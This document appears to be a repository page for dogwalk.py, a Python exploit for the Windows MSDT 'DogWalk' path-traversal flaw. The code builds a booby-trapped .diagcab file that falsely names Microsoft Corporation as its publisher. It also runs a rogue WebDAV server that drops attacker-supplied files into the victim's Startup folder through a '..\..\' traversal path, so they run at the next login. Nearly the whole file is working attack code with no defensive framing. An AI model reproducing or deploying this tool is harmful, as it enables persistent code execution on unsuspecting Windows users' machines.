-
Notifications
You must be signed in to change notification settings - Fork 0
/
dogwalk.py
291 lines (244 loc) · 10.3 KB
/
dogwalk.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
import argparse
import os
import re
import socket
import sys
from cabarchive import CabArchive, CabFile
from time import gmtime, strftime
from pathlib import *
DEFAULT_MAL_PATH = "..\\..\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
FAKE_FILE = 1
REAL_FILE = 2
class DogWalk:
def __init__(self):
self.cabname = "good-news-everybody.diagcab"
self.mal_path = DEFAULT_MAL_PATH
self.read_args()
self.files = (x for x in Path(self.path).iterdir() if x.is_file())
self.fs = {}
self.fs["config"] = {}
self.fs["package"] = {}
self.make_diagcab()
self.build_file_structure()
def read_args(self):
parser = argparse.ArgumentParser(prog="dogwalk")
parser.add_argument("-c", "--cabname", help="Name of diagcab to host")
parser.add_argument("-i", "--inject-path", help="Relative path where the downloaded files by msdt will be stored")
parser.add_argument("lhost", help="IP Address which msdt connects to")
parser.add_argument("lport", type=int, help="Port which msdt connects to")
parser.add_argument("path", help="Path where malicious files are hosted")
args = parser.parse_args()
self.lhost = args.lhost
self.lport = args.lport
self.path = args.path
if args.cabname:
self.cabname = f"{args.cabname}.diagcab"
if args.inject_path:
self.mal_path = args.inject_path
def make_diagcab(self):
xml_contents = f"""<?xml version="1.0" encoding="utf-8"?>
<PackageConfiguration xmlns="http://www.microsoft.com/schemas/dcm/configuration/2008">
<Execution>
<Package Path="\\\\{self.lhost}@{self.lport}\\DavWWWRoot\\package" />
<Name>Some name</Name>
<Description>Some description</Description>
<Icon>@%windir%\\diagnostics\\system\\WindowsUpdate\\DiagPackage.dll,-1001</Icon>
</Execution>
<Index>
<Id>Custom</Id>
<RequiresAdminPrivileges>false</RequiresAdminPrivileges>
<PrivacyUrl>http://go.microsoft.com/fwlink/?LinkId=190175</PrivacyUrl>
<Version>1.0</Version>
<PublisherName>Microsoft Corporation</PublisherName>
<Category>@%windir%\\system32\\DiagCpl.dll,-412</Category>
<Keyword>@%windir%\\system32\\DiagCpl.dll,-27</Keyword>
</Index>
</PackageConfiguration>\n""".replace("\n","\r\n")
arc = CabArchive()
arc["Custom.diagcfg"] = CabFile(xml_contents.encode())
self.diagcab = arc.save(True)
self.fs["config"][self.cabname] = (FAKE_FILE, len(self.diagcab), None)
def build_file_structure(self):
for file in self.files:
filesize = os.stat(str(file)).st_size
self.fs["package"][f"{self.mal_path}{file.name}"] = (REAL_FILE,filesize,file)
def gettimestr(self):
return strftime("%a, %d %b %Y %H:%M:%S GMT", gmtime())
def reply_207(self, data):
resp = "HTTP/1.1 207 Multi-Status\r\n"
resp += "Date: " + self.gettimestr() + "\r\n"
resp += "Server: dogwalk\r\n"
resp += "Content-Length: " + str(len(data)) + "\r\n"
resp += "Content-Type: text/xml; charset=\"utf-8\"\r\n\r\n"
return (resp + data).encode()
def reply_404(self):
resp = "HTTP/1.1 404 Not-found\r\n"
resp += "Date: " + self.gettimestr() + "\r\n"
resp += "Server: dogwalk\r\n\r\n"
return resp.encode()
def reply_200(self, data):
resp = "HTTP/1.1 200 OK\r\n"
resp += "Date: " + self.gettimestr() + "\r\n"
resp += "Server: dogwalk\r\n"
resp += f"Content-Length: {len(data)}\r\n"
resp += "Content-Type: application/octet-stream\r\n\r\n"
return resp.encode() + data
def handle_options(self):
resp = "HTTP/1.1 200 OK\r\n"
resp += "Date: " + self.gettimestr() + "\r\n"
resp += "Server: dogwalk\r\n"
resp += "DAV: 1,2\r\n"
resp += "DAV: <http://apache.org/dav/propset/fs/1>\r\n"
resp += "MS-Author-Via: DAV\r\n"
resp += "Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK\r\n"
resp += "Content-Length: 0\r\n"
resp += "Keep-Alive: timeout=15, max 200\r\n"
resp += "Connection: Keep-Alive\r\n\r\n"
return resp.encode()
def handle_get(self, dirname, filename):
if "package" in dirname and filename == "desktop.ini":
return self.reply_200(b"1\n")
if self.fs.get(dirname):
d = self.fs[dirname]
if d.get(filename):
(is_real, size, f) = d[filename]
if is_real == REAL_FILE:
with open(str(f), "rb") as fh:
data = fh.read()
else:
data = self.diagcab
return self.reply_200(data)
else:
return self.reply_404()
else:
for fp in self.fs["package"]:
p = PureWindowsPath(fp)
if p.name == filename:
(is_real, size, f) = self.fs["package"][fp]
with open(str(f), "rb") as fh:
data = fh.read()
return self.reply_200(data)
return self.reply_404()
def dir_entry(self, dirname):
return f"""<D:response xmlns:lp1="DAV:">
<D:href>/{dirname}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:getlastmodified>{self.gettimestr()}</lp1:getlastmodified>
<lp1:creationdate>{self.gettimestr()}</lp1:creationdate>
</D:prop>
</D:propstat>
</D:response>\n"""
def file_entry(self, dirname, filename, flen):
return f"""<D:response xmlns:lp1="DAV:">
<D:href>/{dirname}/{filename}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/><lp1:getcontentlength>{str(flen)}</lp1:getcontentlength>
<lp1:getlastmodified>{self.gettimestr()}</lp1:getlastmodified>
<lp1:creationdate>{self.gettimestr()}</lp1:creationdate>
</D:prop>
</D:propstat>
</D:response>\n"""
def handle_dir_propfind(self, dirname, depth):
d = dirname
if not d.startswith("/"):
d = "/" + d
if not d.endswith("/"):
d += "/"
header = f"""<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:ns0="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/" xmlns:g0="DAV:">
<D:href>{d}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:getlastmodified>{self.gettimestr()}</lp1:getlastmodified>
<lp1:creationdate>{self.gettimestr()}</lp1:creationdate>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>\n"""
footer = "</D:multistatus>"
resp = ""
if depth == 0:
resp = header + footer
elif dirname == '/':
resp = header + self.dir_entry("config") + self.dir_entry("package") + footer
else:
d = dirname.split('/')[1]
resp = header
for file in self.fs[d]:
fi = self.fs[d][file]
resp = resp + self.file_entry(d, file, fi[1])
if d == 'package':
resp += self.file_entry("package","desktop.ini",1)
resp = resp + footer
return self.reply_207(resp)
def handle_file_propfind(self, directory, filename):
header = """<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:ns0="DAV:">\n"""
footer = "</D:multistatus>\n"
if "package" in directory and filename == "desktop.ini":
resp = header + self.file_entry("/package","desktop.ini",1) + footer
return self.reply_207(resp)
if self.fs.get(directory):
if self.fs[directory].get(filename):
resp = header + self.file_entry(directory, filename, self.fs[directory][filename][1]) + footer
return self.reply_207(resp)
for f in self.fs["package"]:
p = PureWindowsPath(f)
if p.name == filename:
resp = header + self.file_entry(directory, filename, self.fs["package"][f][1]) + footer
return self.reply_207(resp)
return self.reply_404()
def handle_web(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", self.lport))
s.listen(5)
sys.stderr.write(f"Serving on 0.0.0.0:{self.lport}\n")
prev_cs = []
while True:
(cs,addr) = s.accept()
prev_cs.append(cs)
sys.stderr.write(f"Got connection from {addr[0]}:{addr[1]}\n")
data = cs.recv(1024)
resp = ""
if data.startswith(b"OPTIONS "):
sys.stderr.write(f"Handling OPTIONS\n")
resp = self.handle_options()
elif data.startswith(b"GET "):
path = re.match(b"GET /(.+)/([^/]+)? HTTP", data)
if path:
directory = path.group(1).decode()
filename = path.group(2).decode()
sys.stderr.write(f"Handling GET - {directory}/{filename}\n")
resp = self.handle_get(directory, filename)
elif data.startswith(b"PROPFIND "):
sys.stderr.write("Handling PROPFIND\n")
path = re.match(b"PROPFIND /(.+)/([^/]+) HTTP.*", data)
if path:
directory = path.group(1).decode()
filename = path.group(2).decode()
resp = self.handle_file_propfind(directory, filename)
else:
directory = re.match(b"PROPFIND (/.*)/? HTTP.*", data)
if directory:
directory = directory.group(1).decode()
depth = re.search(b"Depth: ([0-9]+)", data)
if (depth):
depth = int(depth.group(1).decode())
resp = self.handle_dir_propfind(directory, depth)
else:
sys.stderr.write(f"Unhandled VERB - {data.split(b' ')[0].decode()}\n")
if len(resp) > 0:
cs.send(resp)
cs.shutdown(socket.SHUT_WR)
s.close()
def main():
d = DogWalk()
d.handle_web()
if __name__ == "__main__":
main()